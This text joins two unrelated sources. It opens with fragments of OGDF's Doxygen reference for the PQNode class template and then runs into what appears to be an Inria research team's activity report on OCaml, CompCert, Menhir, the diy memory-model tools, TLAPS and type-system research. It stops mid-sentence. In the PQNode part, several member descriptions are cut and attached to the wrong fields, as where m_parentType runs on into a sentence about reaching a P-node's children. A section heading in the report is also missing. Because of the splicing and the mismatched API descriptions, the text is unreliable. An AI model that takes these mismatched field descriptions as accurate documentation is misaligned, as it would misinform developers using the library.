The PQ-trees can be visualized with the help of the Tree Interface and the m_debugTreeNumber is needed to print out the tree in the correct file format. Definition at line 424 of file PQNode.h. ## ◆ m_firstFull template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_firstFull protected Stores a pointer to the first full child of a Q-node. Definition at line 449 of file PQNode.h. ## ◆ m_identificationNumber template<class T , class X , class Y > int ogdf::PQNode< T, X, Y >::m_identificationNumber protected Each node that has been introduced once into the tree gets a unique number. If the node is removed from the tree during a reduction or with the help of one of the functions that is provided by the class template PQtree, its number is not reused. This always allows exact identification of nodes during any process that is envoked on the PQ-tree. We strongly recommend users who construct the tree with the help of the construction functions and who instantiate the nodes by them selves to do the same. Definition at line 437 of file PQNode.h. ## ◆ m_leftEndmost template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_leftEndmost protected Definition at line 451 of file PQNode.h. ## ◆ m_parent template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_parent protected Is a pointer to the parent. Observe that this pointer may not be up to date after a few applications of the reduction. Definition at line 458 of file PQNode.h. ## ◆ m_parentType template<class T , class X , class Y > PQNodeType ogdf::PQNode< T, X, Y >::m_parentType protected Stores the type of the parent which can be either a P- or Q-node.

With the help of this pointer, it is possible to access the children of the P-node Definition at line 466 of file PQNode.h. ## ◆ m_referenceParent template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_referenceParent protected Is a pointer to the parent, in case that the parent is a P-node and the node itself is its reference child. The pointer is needed in order to identify the reference child among all children of a P-node. Definition at line 474 of file PQNode.h. ## ◆ m_rightEndmost template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_rightEndmost protected Stores the right endmost child of a Q-node.

If PQNode is child of a Q-node and has no left sibling, m_sibLeft is set to 0. If PQNode is child of a P-node, all children of the P-node are linked in a circular list. In the latter case, m_sibLeft is never 0. Definition at line 486 of file PQNode.h. ## ◆ m_sibRight template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::m_sibRight protected Stores a pointer ot the right sibling of PQNode. If PQNode is child of a Q-node and has no right sibling, m_sibRight is set to 0. If PQNode is child of a P-node, all children of the P-node are linked in a circular list. In the latter case, m_sibRight is never 0.

Our work is centered on the design, formalization, and implementation of programming languages, with particular emphasis on type systems and type inference, formal program verification, shared-memory concurrency and weak memory models. We are equally interested in theoretical foundations and in applications to real-world problems. The OCaml programming language and the CompCert C compiler embody many of our research results. ## 2.1 Software reliability and reusability Software nowadays plays a pervasive role in our environment: it runs not only on general-purpose computers, as found in homes, offices, and data centers, but also on mobile phones, credit cards, inside transportation systems, factories, and so on. Furthermore, whereas building a single isolated software system was once rightly considered a daunting task, today, tens of millions of developers throughout the world collaborate to develop software components that have complex interdependencies. Does this mean that the “software crisis” of the early 1970s, which Dijkstra described as follows, is over? By now it is generally recognized that the design of any large sophisticated system is going to be a very difficult job, and whenever one meets people responsible for such undertakings, one finds them very much concerned about the reliability issue, and rightly so. – Edsger W. Dijkstra To some extent, the crisis is indeed over. In the past five decades, strong emphasis has been put on modularity and reusability. It is by now well-understood how to build reusable software components, thus avoiding repeated programming effort and reducing costs. The availability of hundreds of thousands of such components, hosted in collaborative repositories, has allowed the software industry to bloom in a manner that was unimaginable a few decades ago. As pointed out by Dijkstra, however, the problem is not just to build software, but to ensure that it works. Today, the reliability of most software leaves a lot to be desired. Consumer-grade software, including desktop, Web, and mobile phone applications, often crashes or exhibits unexpected behavior. This results in loss of time, loss of data, and also can often be exploited for malicious purposes by attackers. Reliability includes safety—exhibiting appropriate behavior under normal usage conditions—and security—resisting abuse in the hands of an attacker. Today, achieving very high levels of reliability is possible, albeit at a tremendous cost in time and money. In the aerospace industry, for instance, high reliability is obtained via meticulous development processes, extensive testing efforts, and external reviewing by independent certification authorities. There and elsewhere, formal verification is also used, instead of or in addition to the above methods. In the hardware industry, model-checking is used to verify microprocessor components. In the critical software industry, deductive program verification has been used to verify operating system kernels, file systems, compilers, and so on. Unfortunately, these methods are difficult to apply in industries that have strong cost and time-to-market constraints, such as the automotive industry, let alone the general software industry. Today, thus, we arguably still are experiencing a “reliable-software crisis”. Although we have become pretty good at producing and evolving software, we still have difficulty producing cheap reliable software. How to resolve this crisis remains, to a large extent, an open question. Modularity and reusability seem needed now more than ever, not only in order to avoid repeated programming effort and reduce the likelihood of errors, but also and foremost to avoid repeated specification and verification effort. Still, apparently, the languages that we use to write software are not expressive enough, and the logics and tools that we use to verify software are not mature enough, for this crisis to be behind us. ## 2.2 Qualities of a programming language A programming language is the medium through which an intent (software design) is expressed (program development), acted upon (program execution), and reasoned about (verification). It would be a mistake to argue that, with sufficient dedication, effort, time and cleverness, good software can be written in any programming language. Although this may be true in principle, in reality, the choice of an adequate programming language can be the deciding factor between software that works and software that does not, or even cannot be developed at all. We believe, in particular, that it is crucial for a programming language to be safe, expressive, to encourage modularity, and to have a simple, well-defined semantics. • Safety. The execution of a program must not ever be allowed to go wrong in an unpredictable way. Examples of behaviors that must be forbidden include reading or writing data outside of the memory area assigned by the operating system to the process and executing arbitrary data as if it were code. A programming language is safe if every safety violation is gracefully detected either at compile time or at runtime. • Expressiveness. The programming language should allow programmers to think in terms of concise, high-level abstractions—including the concepts and entities of the application domain—as opposed to verbose, low-level representations or encodings of these concepts. • Modularity. The programming language should make it easy to develop a software component in isolation, to describe how it is intended to be composed with other components, and to check at composition time that this intent is respected. • Semantics. The programming language should come with a mathematical definition of the meaning of programs, as opposed to an informal, natural-language description. This definition should ideally be formal, that is, amenable to processing by a machine. A well-defined semantics is a prerequisite for proving that the language is safe (in the above sense) and for proving that a specific program is correct (via model-checking, deductive program verification, or other formal methods). The safety of a programming language is usually achieved via a combination of design decisions, compile-time type-checking, and runtime checking. As an example design decision, memory deallocation, a dangerous operation, can be placed outside of the programmer's control. As an example of compile-time type-checking, attempting to use an integer as if it were a pointer can be considered a type error; a program that attempts to do this is then rejected by the compiler before it is executed. Finally, as an example of runtime checking, attempting to access an array outside of its bounds can be considered a runtime error: if a program attempts to do this, then its execution is aborted. Type-checking can be viewed as an automated means of establishing certain correctness properties of programs. Thus, type-checking is a form of “lightweight formal methods” that provides weak guarantees but whose burden seems acceptable to most programmers. However, type-checking is more than just a program analysis that detects a class of programming errors at compile time. Indeed, types offer a language in which the interaction between one program component and the rest of the program can be formally described. Thus, they can be used to express a high-level description of the service provided by this component (i.e., its API), independently of its implementation. At the same time, they protect this component against misuse by other components. In short, “type structure is a syntactic discipline for enforcing levels of abstraction”. In other words, types offer basic support for expressiveness and modularity, as described above. For this reason, types play a central role in programming language design. They have been and remain a fundamental research topic in our group. More generally, the design of new programming languages and new type systems and the proof of their safety has been and remains an important theme. The continued evolution of OCaml, as well as the design and formalization of Mezzo 2, are examples. ## 2.3 Design, implementation, and evolution of OCaml Our group's expertise in programming language design, formalization and implementation has traditionally been focused mainly on the programming language OCaml 26. OCaml can be described as a high-level statically-typed general-purpose programming language. Its main features include first-class functions, algebraic data structures and pattern matching, automatic memory management, support for traditional imperative programming (mutable state, exceptions), and support for modularity and encapsulation (abstract types; modules and functors; objects and classes). OCaml meets most of the key criteria that we have put forth above. Thanks to its static type discipline, which rejects unsafe programs, it is safe. Because its type system is equipped with powerful features, such as polymorphism, abstract types, and type inference, it is expressive, modular, and concise. Although OCaml as a whole does not have a formal semantics, many fragments of it have been formally studied in isolation. As a result, we believe that OCaml is a good language in which to develop complex software components and software systems and (possibly) to verify that they are correct. OCaml has long served a dual role as a vehicle for our programming language research and as a mature real-world programming language. This remains true today, and we wish to preserve this dual role. On the research side, there are many directions in which the language could be extended. On the applied side, OCaml is used within academia (for research and for teaching) and in the industry. It is maintained by a community of active contributors, which extends beyond our team at Inria. It comes with a package manager, opam, a rich ecosystem of libraries, and a set of programming tools, including an IDE (Merlin), support for debugging and performance profiling, etc. OCaml has been used to develop many complex systems, such as proof assistants (Coq, HOL Light), automated theorem provers (Alt-Ergo, Zenon), program verification tools (Why3), static analysis engines (Astrée, Frama-C, Infer, Flow), programming languages and compilers (SCADE, Reason, Hack), Web servers (Ocsigen), operating systems (MirageOS, Docker), financial systems (at companies such as Jane Street, LexiFi, Nomadic Labs), and so on. ## 2.4 Software verification We have already mentioned the importance of formal verification to achieve the highest levels of software quality. One of our major contributions to this field has been the verification of programming tools, namely the CompCert optimizing compiler for the C language 34 and the Verasco abstract interpretation-based static analyzer 7. Technically, this is deductive verification of purely functional programs, using the Coq proof assistant both as the prover and the programming language. Scientifically, CompCert and Verasco are milestones in the area of program proof, due to the complexity and realism of the code generation, optimization, and static analysis techniques that are verified. Practically, these formally-verified tools strengthen the guarantees that can be obtained by formal verification of critical software and reduce the need for other verification activities, attracting the interest of Airbus and other companies that develop critical embedded software. CompCert is implemented almost entirely in Gallina, the purely functional programming language that lies at the heart of Coq. Extraction, a whole-program translation from Gallina to OCaml, allows Gallina programs to be compiled to native code and efficiently executed. Unfortunately, Gallina is a very restrictive language: it rules out all side effects, including nontermination, mutable state, exceptions, delimited control, nondeterminism, input/output, and concurrency. In comparison, most industrial programming languages, including OCaml, are vastly more expressive and convenient. Thus, there is a clear need for us to also be able to verify software components that are written in OCaml and exploit side effects. To reason about the behavior of effectful programs, one typically uses a “program logic”, that is, a system of deduction rules that are tailor-made for this purpose, and can be built into a verification tool. Since the late 1960s, program logics for imperative programming languages with global mutable state have been in wide use. A key advance was made in the 2000s with the appearance of Separation Logic, which emphasizes local reasoning and thereby allows reasoning about a callee independently of its caller, about one heap fragment independently of the rest of the heap, about one thread independently of all other threads, and so on. Today, this field is extremely active: the development of powerful program logics for rich effectful programming languages, such as OCaml or Multicore OCaml, is a thriving and challenging research area. Our team has expertise in this field. For several years, François Pottier has been investigating the theoretical foundations and applications of several features of modern Separation Logics, such as “hidden state” and “monotonic state”. Jean-Marie Madiot has contributed to the Verified Software Toolchain, which includes a version of Concurrent Separation Logic for a subset of C. Arthur Charguéraud 1 has developed CFML, an implementation of Separation Logic for a subset of OCaml. Armaël Guéneau has extended CFML with the ability to simultaneously verify the correctness and the time complexity of an OCaml component. Glen Mével and Paulo de Vilhena are currently investigating the use of Iris, a descendant of Concurrent Separation Logic, to carry out proofs of Multicore OCaml programs. We envision several ways of using OCaml components that have been verified using a program logic. In the simplest scenario, some key OCaml components, such as the standard library, are verified, and are distributed for use in unverified applications. This increases the general trustworthiness of the OCaml system, but does not yield strong guarantees of correctness. In a second scenario, a fully verified application is built out of verified OCaml components, therefore it comes with an end-to-end correctness guarantee. In a third scenario, while some components are written and verified directly at the level of OCaml, others are first written and verified in Gallina, then translated down to verified OCaml components by an improved version of Coq's extraction mechanism. In this scenario, it is possible to fully verify an application that combines effectful OCaml code and side-effect-free Gallina code. This scenario represents an improvement over the current state of the art. Today, CompCert includes several OCaml components, which cannot be verified in Coq. As a result, the data produced by these components must be validated by verified checkers. ## 2.5 Shared-memory concurrency Concurrent shared-memory programming seems required in order to extract maximum performance out of the multicore general-purpose processors that have been in wide use for more than a decade. (GPUs and other special-purpose processors offer even greater raw computing power, but are not easily exploited in the symbolic computing applications that we are usually interested in.) Unfortunately, concurrent programming is notoriously more difficult than sequential programming. This can be attributed to a “state-space explosion problem”: the number of permitted program executions grows exponentially with the number of concurrent agents involved. Shared memory introduces an additional, less notorious, difficulty: on a modern multicore processor, execution does not follow the strong model where the instructions of one thread are interleaved with the instructions of other threads, and where reads and writes to memory instantaneously take effect. To properly understand and analyze a program, one must first formally define the semantics of the programming language, or of the device that is used to execute the program. The aspect of the semantics that governs the interaction of threads through memory is known as a memory model. Most modern memory models are weak in the sense that they offer fewer guarantees than the strong model sketched above. Describing a memory model in precise mathematical language, in a manner that is at the same time faithful with respect to real-world machines and exploitable as a basis for reasoning about programs, is a challenging problem and a domain of active research, where thorough testing and verification are required. Luc Maranget and Jean-Marie Madiot have acquired an expertise in the domain of weak memory models, including so-called axiomatic models and event-structure-based models. Moreover, Luc Maranget develops diy-herd-litmus, a unique software suite for defining, simulating and testing memory models. In short, diy generates so-called litmus tests from concise specifications; herd simulates litmus tests with respect to memory models expressed in the domain-specific language Cat; litmus executes litmus tests on real hardware. These tools have been instrumental in finding bugs in the deployed processors IBM Power5 and ARM Cortex-A9. Moreover, within industry, some models are now written in Cat, either for internal use, such as the AArch64 model by Will Deacon (ARM), or for publication, such as the RISC-V model by Luc Maranget and the HSA model by Jade Alglave and Luc Maranget. For a long time, the OCaml language and runtime system have been restricted to sequential execution, that is, execution of a single computation thread on a single processor core. Yet, since 2014 approximately, the Multicore OCaml project at OCaml Labs (Cambridge, UK) is preparing a version of OCaml where multiple threads execute concurrently and communicate with each other via shared memory. In principle, it seems desirable for Multicore OCaml to become the standard version of OCaml. Integrating Multicore OCaml into mainstream OCaml, however, is a major undertaking. The runtime system is deeply impacted: in particular, OCaml's current high-performance garbage collector must be replaced with an entirely new concurrent collector. The memory model and operational semantics of the language must be clearly defined. At the programming-language level, several major extensions are proposed, including effect handlers (a generalization of exception handlers, introducing a form of delimited control) and a new type-and-effect-discipline that statically detects and rejects unhandled effects. # 3 Research program Our research proposal is organized along three main axes, namely programming language design and implementation, concurrency, and program verification. These three areas have strong connections. For instance, the definition and implementation of Multicore OCaml intersects the first two axes, whereas creating verification technology for Multicore OCaml programs intersects the last two. In short, the “programming language design and implementation” axis includes: • The search for richer type disciplines, in an effort to make our programming languages safer and more expressive. Two domains, namely modules and effects, appear of particular interest. In addition, we view type inference as an important cross-cutting concern. • The continued evolution of OCaml. The major evolutions that we envision in the medium term are the integration of Multicore OCaml, the addition of modular implicits, and a redesign of the type-checker. • Research on refactoring and program transformations. The “concurrency” axis includes: • Research on weak memory models, including axiomatic models, operational models, and event-structure models. • Research on the Multicore OCaml memory model. This might include proving that the axiomatic and operational presentations of the model agree; testing the Multicore OCaml implementation to ensure that it conforms to the model; and extending the model with new features, should the need arise. The “program verification” axis includes: • The continued evolution of CompCert. • Building new verified tools, such as verified compilers for domain-specific languages, verified components for the Coq type-checker, and so on. • Verifying algorithms and data structures implemented in OCaml and in Multicore OCaml and enriching Separation Logic with new features, if needed, to better support this activity. • The continued development of tools for TLA+. # 4 Application domains ## 4.1 Formal methods We develop techniques and tools for the formal verification of critical software: • program logics based on CFML and Iris for the deductive verification of software, including concurrency and algorithmic complexity aspects; • verified development tools such as the CompCert verified C compiler, which extends properties established by formal verification at the source level all the way to the final executable code. Some of these techniques have already been used in the nuclear industry (MTU Friedrichshafen uses CompCert to develop emergency diesel generators) and are under evaluation in the aerospace industry. ## 4.2 High-assurance software Software that is not critical enough to undergo formal verification can still benefit greatly, in terms of reliability and security, from a functional, statically-typed programming language. The OCaml type system offers several advanced tools (generalized algebraic data types, abstract types, extensible variant and object types) to express many data structure invariants and safety properties and have them automatically enforced by the type-checker. This makes OCaml a popular language to develop high-assurance software, in particular in the financial industry. OCaml is the implementation language for the Tezos blockchain and cryptocurrency. It is also used for automated trading at Jane Street and for modeling and pricing of financial contracts at Bloomberg, Lexifi and Simcorp. OCaml is also widely used to implement code verification and generation tools at Facebook, Microsoft, CEA, Esterel Technologies, and many academic research groups, at Inria and elsewhere. ## 4.3 Design and test of microprocessors The diy tool suite and the underlying methodology is in use at ARM Ltd to design and test the memory model of ARM architectures. In particular, the internal reference memory model of the ARMv8 (or AArch64) architecture has been written “in house” in Cat, our domain-specific language for specifying and simulating memory models. Moreover, our test generators and runtime infrastructure are used routinely at ARM to test various implementations of their architectures. ## 4.4 Teaching programming Our work on the OCaml language family has an impact on the teaching of programming. OCaml is one of the programming languages selected by the French Ministry of Education for teaching Computer Science in classes préparatoires scientifiques. OCaml is also widely used for teaching advanced programming in engineering schools, colleges and universities in France, the USA, and Japan. The MOOC “Introduction to Functional Programming in OCaml”, developed at University Paris Diderot, is available on the France Université Numérique platform and comes with an extensive platform for self-training and automatic grading of exercises, developed in OCaml itself. # 5 New software and platforms ## 5.1 Software ### 5.1.1 The CompCert verified compiler Participants: Xavier Leroy, Michael Schmidt, Bernhard Schommer. Since 2005, in the context of our work on compiler verification, we have been developing and formally verifying CompCert, a moderately-optimizing compiler for a large subset of the C programming language. CompCert generates assembly code for the ARM, PowerPC, RISC-V and x86 architectures 34. It comprises a back-end, which translates the Cminor intermediate language to PowerPC assembly and which can be reused for source languages other than C 32, and a front-end, which translates the “CompCert C” subset of C to Cminor. The compiler is written mostly within the specification language of the Coq proof assistant, out of which Coq's extraction facility generates executable OCaml code. The compiler comes with a 100000-line machine-checked proof of semantic preservation, establishing that the generated assembly code executes exactly as prescribed by the semantics of the source C program. This year, we improved the CompCert C compiler and tools in several directions: • Conformance with the ISO C 11 standard was improved: the _Static_assert construct is now supported, and several discrepancies were fixed. • We introduced mechanisms to specify the semantics of built-in functions. We used them to provide semantics for a growing number of built-in functions, making them amenable to optimizations such as constant propagation and common subexpression elimination. • The x86 code generator was updated to support Cygwin 64 as a target platform, making it easier to use CompCert under Windows. • Conformance with the Application Binary Interfaces (ABI) for AArch64, PowerPC, RISC-V, and x86 was improved. • The clightgen tool, which integrates CompCert in the Verified Software Toolchain developed by Andrew Appel's team at Princeton University 28, was improved so as to simplify the verification of C programs composed of multiple source files. We released two versions of CompCert incorporating these improvements: version 3.7 in March 2020 and version 3.8 in November 2020. ### 5.1.2 The OCaml system Participants: Florian Angeletti, Frédéric Bour, Damien Doligez, Jacques Garrigue, Sébastien Hinderer, Xavier Leroy, Luc Maranget, Thomas Refis, David Allsop, Stephen Dolan, Alain Frisch, Jacques-Henri Jourdan, Nicolás Ojeda Bär, Gabriel Scherer, Mark Shinwell, Leo White, Jeremy Yallop. This year, we released two major versions of the OCaml system: version 4.10.0 in February and version 4.11.0 in August. We also released four minor versions (4.09.1, 4.10.1, 4.10.2, 4.11.1) with bug fixes and backports of new features. The main novelties in these releases are: • The language has been extended to allow users to define their own multidimensional array-like indexing operators. • A new memory profiler, statmemprof, is now available. It is based on statistical sampling of allocations, resulting in much lower run-time overhead than the earlier memory profiler, Spacetime. • OCaml now fully supports the MacOS system running on ARM 64-bit processors, including the latest Macintosh models with “Apple silicon”. • A native-code generator for the RISC-V processor architecture has been added. • A new memory allocator for the major heap is now available. It is based on a best-fit strategy and causes less heap fragmentation than the previous allocator. • The exhaustiveness check has been made more precise for case analyses that involve GADTs or empty types. • The runtime system can now record statistics and events in the standard CTF format. • The integration of the Multicore OCaml project has begun, with a number of internal changes to the runtime system that will be required for full multicore support. • More than one hundred usability improvements have been implemented, ranging from more readable stack backtraces through improved error messages to new standard library functions. • About 80 bugs have been fixed. ### 5.1.3 The Menhir parser generator Participants: François Pottier. Since 2005, François Pottier has been developing Menhir, an LR(1) parser generator for OCaml. Menhir is used both within our group (where it is exploited, in particular, by the OCaml and CompCert compilers) and by many users in the OCaml community. This year, a number of improvements and bug fixes have been performed: • The algorithms for constructing LR automata have been re-implemented in a style that is more concise, more elegant and more efficient. A bug in our implementation of Pager's construction algorithm has been fixed. Our new implementation operates in two phases: first compute the automaton's states, then compute its transitions. It is significantly easier to describe and understand than our earlier implementation. • A simplified error-handling strategy has been introduced. It removes a couple undesirable features of the traditional error-handling strategy inherited from yacc. • Several “bit set” data structures have been improved, for greater speed. • The test that determines whether macro-expansion will terminate has been re-implemented. The old test was discovered to be neither sound nor complete. The new test is hopefully both sound and complete. • The manner in which Menhir performs type inference has been slightly modified so as to avoid certain (infrequent) situations in which incorrect types could be inferred. • Menhir is now built using dune instead of ocamlbuild. This allows taking advantage of parallelism while building and testing Menhir. ### 5.1.4 The odoc documentation tool Participants: Jon Ludlam, Gabriel Radanne, Florian Angeletti, Leo White. Rendering the documentation of a piece of OCaml code is a difficult task. Indeed, the OCaml module system allows setting up complex inter-dependencies that are difficult to compute and difficult to render in a concise document. odoc is our latest attempt at creating a documentation tool that handles the full complexity of the OCaml language. This year, Gabriel Radanne rewrote a significant portion of odoc to provide improved HTML output, make it possible to produce other document formats, and introduce the ability to produce man pages. Florian Angeletti then implemented PDF output and integrated the usage of odoc in the official OCaml distribution. Concurrently, Jon Ludlam and Leo White rewrote the resolution mechanism of odoc, which led to a joint presentation at the OCaml workshop. ### 5.1.5 The diy tool suite The diy suite provides a set of tools for testing shared memory models: the litmus tool for running tests on hardware, various generators for producing tests from concise specifications, and herd, a memory model simulator. Tests are small programs written in x86, Power, ARM, generic (LISA) assembler, or a subset of the C language that can thus be generated from concise specifications, run on hardware, or simulated on top of memory models. Test results can be handled and compared using additional tools. On distinctive feature of our system is Cat, a domain-specific language for memory models. This year, a feature branch for handling virtual memory was created, of which Jade Alglave and Luc Maranget are (almost) the exclusive authors. It is the backbone of our current research. Moreover, many authors (most of whom work at ARM Ltd.) have been contributing in various manners: • Test and build infrastructure. • Extension of the simulated instruction set. • Architectural extensions: capabilities (ARM Morello), SIMD (ARM Neon; work in progress). ### 5.1.6 The TLAPS proof system Participants: Damien Doligez, Leslie Lamport, Ioannis Filippidis, Stephan Merz. Damien Doligez heads the “Tools for Proofs” team in the Microsoft-Inria Joint Centre. The aim of this project is to extend the TLA+ language with a formal language for hierarchical proofs, formalizing Lamport's ideas  31, and to build tools for writing TLA+ specifications and mechanically checking the proofs. This year, we made a bug-fix release of TLAPS (version 1.4.5). We have also been testing the new support for the enabled operator and the action composition operator in TLA+ proofs. We hope to release version 1.5.0 with this support very soon. We also made a maintenance release of Zenon (version 0.8.5) to make it compatible with the latest version of OCaml. ### 5.1.7 Sek, an efficient sequence library for OCaml Participants: Arthur Charguéraud, François Pottier. This year, Arthur Charguéraud and François Pottier developed Sek, a library that offers efficient implementations of ephemeral sequences, persistent sequences, and ephemeral iterators on both kinds of sequences. Sek publishes 4 abstract types and over 150 operations. Its data structures involve complex balancing invariants, shared mutable state, and a subtle ownership policy that determines when an object can be updated in place and when it must be copied. It is intended to offer very good performance, in terms of both space and time, in most usage scenarios; thus, it should remove the need for more specialized data structures, such as stacks, queues, deques, catenable deques, and so on. The library has been published and is available via OCaml's package manager, opam. No paper about Sek has been published at this time. It is worth noting that testing Sek was our main motivation for developing Monolith (§5.1.8). ### 5.1.8 Monolith, a library for testing OCaml libraries Participants: François Pottier. This year, François Pottier developed Monolith, an OCaml library whose purpose is to facilitate black-box testing of other OCaml libraries. Monolith provides a rich specification language, which allows the user to describe her library's API, and an engine, which generates clients of this API and executes them. This reduces the problem of testing a library to the simpler problem of testing a complete program. Testing can then be performed either in a purely random manner or with the help of an off-the-shelf fuzzer, such as AFL. This work is described in a paper that will be presented at JFLA 2021 20. Monolith has been used to test and debug Sek (§5.1.7). ## 5.2 New software ### 5.2.1 OCaml • Keywords: Functional programming, Static typing, Compilation • Functional Description: The OCaml language is a functional programming language that combines safety with expressiveness through the use of a precise and flexible type system with automatic type inference. The OCaml system is a comprehensive implementation of this language, featuring two compilers (a bytecode compiler, for fast prototyping and interactive use, and a native-code compiler producing efficient machine code for x86, ARM, PowerPC and System Z), a debugger, a documentation generator, a compilation manager, a package manager, and many libraries contributed by the user community. • URL: • Publications: • Contacts: Xavier Leroy, Damien Doligez • Participants: Damien Doligez, Xavier Leroy, Fabrice Le Fessant, Luc Maranget, Gabriel Scherer, Alain Frisch, Jacques Garrigue, Marc Shinwell, Jeremy Yallop, Leo White ### 5.2.2 Compcert • Name: The CompCert formally-verified C compiler • Keywords: Compilers, Formal methods, Deductive program verification, C, Coq • Functional Description: CompCert is a compiler for the C programming language. Its intended use is the compilation of life-critical and mission-critical software written in C and meeting high levels of assurance. It accepts most of the ISO C 99 language, with some exceptions and a few extensions. It produces machine code for the ARM, PowerPC, RISC-V, and x86 architectures. What sets CompCert C apart from any other production compiler, is that it is formally verified to be exempt from miscompilation issues, using machine-assisted mathematical proofs (the Coq proof assistant). In other words, the executable code it produces is proved to behave exactly as specified by the semantics of the source C program. This level of confidence in the correctness of the compilation process is unprecedented and contributes to meeting the highest levels of software assurance. In particular, using the CompCert C compiler is a natural complement to applying formal verification techniques (static analysis, program proof, model checking) at the source code level: the correctness proof of CompCert C guarantees that all safety properties verified on the source code automatically hold as well for the generated executable. • Release Contributions: Novelties include a formally-verified type checker for CompCert C, a more careful modeling of pointer comparisons against the null pointer, algorithmic improvements in the handling of deeply nested struct and union types, much better ABI compatibility for passing composite values, support for GCC-style extended inline asm, and more complete generation of DWARF debugging information (contributed by AbsInt). • URL: • Authors: Xavier Leroy, Bernhard Schommer, Guillaume Melquiond, Jacques-Henri Jourdan, Sylvie Boldo • Contact: Xavier Leroy • Participants: Xavier Leroy, Sandrine Blazy, Jacques-Henri Jourdan, Sylvie Boldo, Guillaume Melquiond • Partner: AbsInt Angewandte Informatik GmbH ### 5.2.3 Diy • Name: Do It Yourself • Keyword: Parallelism • Functional Description: The diy suite provides a set of tools for testing shared memory models: the litmus tool for running tests on hardware, various generators for producing tests from concise specifications, and herd, a memory model simulator. Tests are small programs written in x86, Power or ARM assembler that can thus be generated from concise specification, run on hardware, or simulated on top of memory models. Test results can be handled and compared using additional tools. • URL: • Authors: Jade Alglave, Luc Maranget • Contact: Luc Maranget • Participants: Jade Alglave, Luc Maranget • Partner: University College London UK ### 5.2.4 Menhir • Keywords: Compilation, Context-free grammars, Parsing • Functional Description: Menhir is a LR(1) parser generator for the OCaml programming language. That is, Menhir compiles LR(1) grammar specifications down to OCaml code. Menhir was designed and implemented by François Pottier and Yann Régis-Gianas. • Publications: • Contact: François Pottier ### 5.2.5 CFML • Name: Interactive program verification using characteristic formulae • Keywords: Coq, Software Verification, Deductive program verification, Separation Logic • Functional Description: The CFML tool supports the verification of OCaml programs through interactive Coq proofs. CFML proofs establish the full functional correctness of the code with respect to a specification. They may also be used to formally establish bounds on the asymptotic complexity of the code. The tool is made of two parts: on the one hand, a characteristic formula generator implemented as an OCaml program that parses OCaml code and produces Coq formulae, and, on the other hand, a Coq library that provides notations and tactics for manipulating characteristic formulae interactively in Coq. • URL: • Contact: Arthur Charguéraud • Participants: Arthur Charguéraud, Armaël Guéneau, François Pottier ### 5.2.6 TLAPS • Name: TLA+ proof system • Keyword: Proof assistant • Functional Description: TLAPS is a platform for developing and mechanically verifying proofs about TLA+ specifications. The TLA+ proof language is hierarchical and explicit, allowing a user to decompose the overall proof into proof steps that can be checked independently. TLAPS consists of a proof manager that interprets the proof language and generates a collection of proof obligations that are sent to backend verifiers. The current backends include the tableau-based prover Zenon for first-order logic, Isabelle/TLA+, an encoding of TLA+ set theory as an object logic in the logical framework Isabelle, an SMT backend designed for use with any SMT-lib compatible solver, and an interface to a decision procedure for propositional temporal logic. • News of the Year: In 2020, we published a minor release, fixing some issues notably for the SMT back-end. Substantial work was devoted to supporting liveness reasoning, in particular proofs about the enabled and action composition constructions of TLA+.

Given a first-order statement as input, it outputs a fully formal proof in the form of a Coq or Isabelle proof script. It has special rules for efficient handling of equality and arbitrary transitive relations. Although still in the prototype stage, it already gives satisfying results on standard automatic-proving benchmarks. Zenon is designed to be easy to interface with front-end tools (for example integration in an interactive proof assistant) and also to retarget to output scripts for different frameworks (for example Dedukti). • URL: • Publications: • Author: Damien Doligez • Contact: Damien Doligez • Participant: Damien Doligez ### 5.2.8 hevea • Name: hevea is a fast latex to html translator. • Keywords: LaTeX, Web • Functional Description: HEVEA is a LATEX to html translator. The input language is a fairly complete subset of LATEX 2 (old LATEX style is also accepted) and the output language is html that is (hopefully) correct with respect to version 5. HEVEA understands LATEX macro definitions. Simple user style files are understood with little or no modifications. Furthermore, HEVEA customisation is done by writing LATEX code. HEVEA is written in Objective Caml, as many lexers. It is quite fast and flexible. Using HEVEA it is possible to translate large documents such as manuals, books, etc. very quickly. All documents are translated as one single html file. Then, the output file can be cut into smaller files, using the companion program HACHA. HEVEA can also be instructed to output plain text or info files. Information on HEVEA is available at http://hevea.inria.fr/. • URL: • Author: Luc Maranget • Contact: Luc Maranget # 6 New results ## 6.1 Programming language design and implementation ### 6.1.1 Evolution of the OCaml type system Participants: Florian Angeletti, Jacques Garrigue, Thomas Refis, Didier Rémy, Leo White, Gabriel Scherer. Throughout this year, taking advantage of Jacques Garrigue's visit, we have worked to improve the type system, its robustness, and its implementation. This includes: • Giving a proper formalization of the typing of generalized algebraic data types (GADTs) and pattern matching on GADTs, including making progress towards their formalization in Coq. • Introducing notions of injective and nominal types, which allow a more complete typing of GADTs. These features have been presented by Jacques Garrigue at the 2020 ML Family Workshop.2 Injective types will be part of OCaml 4.12. • Adding support for naming existential type variables in pattern matching constructs. • Improving the readability of the type-checker's code. ### 6.1.2 Refactoring with ornaments in ML Participants: Didier Rémy, Ambre Williams. Ambre Williams and Didier Rémy have been working on ornaments for ML, a technique that allows code refactoring and evolution based on the transformations of datatypes. Ornaments have been introduced as a way of describing changes in data type definitions that can reorganize or add pieces of data. After a new data structure has been described as an ornament of an older one, the functions that operate on the bare structure can be partially or sometimes totally lifted into functions that operate on the ornamented structure. This year, Williams improved and completed the formalization of ornaments, which she presented in her PhD dissertation in December 22. ### 6.1.3 Linear types Participants: Gabriel Radanne, Hannes Saffrich, Peter Thiemann. Linear types, recently made popular by the Rust programming language, allow to statically check the usage of resources such as file descriptors, network connections, or dynamically allocated memory. In 2019, Peter Thiemann, Hannes Saffrich and Gabriel Radanne developed the language Affe, which combines Rust's flagship features, namely linear types and ownership, with the ease of use of the programming languages of the ML family, thanks to support for functional programming, GC-by-default, and full type inference. This year, they wrote a paper that describes Affe and its inner workings and demonstrates its soundness 14. This paper was presented at ICFP 2020 by Gabriel Radanne. ### 6.1.4 An incremental type-checker for OCaml modules Participants: Gabriel Radanne, Didier Rémy, Jacques Garrigue, Thomas Refis. Modules are a core feature of ML languages, allowing to assemble pieces of software in a high-level and composable fashion. OCaml benefits from a particularly rich module system which was originally described more than two decades ago 35, 33, but has significantly grown since. This year, Gabriel Radanne, in collaboration with Didier Rémy and Jacques Garrigue, started formalizing a new module system which combines all of 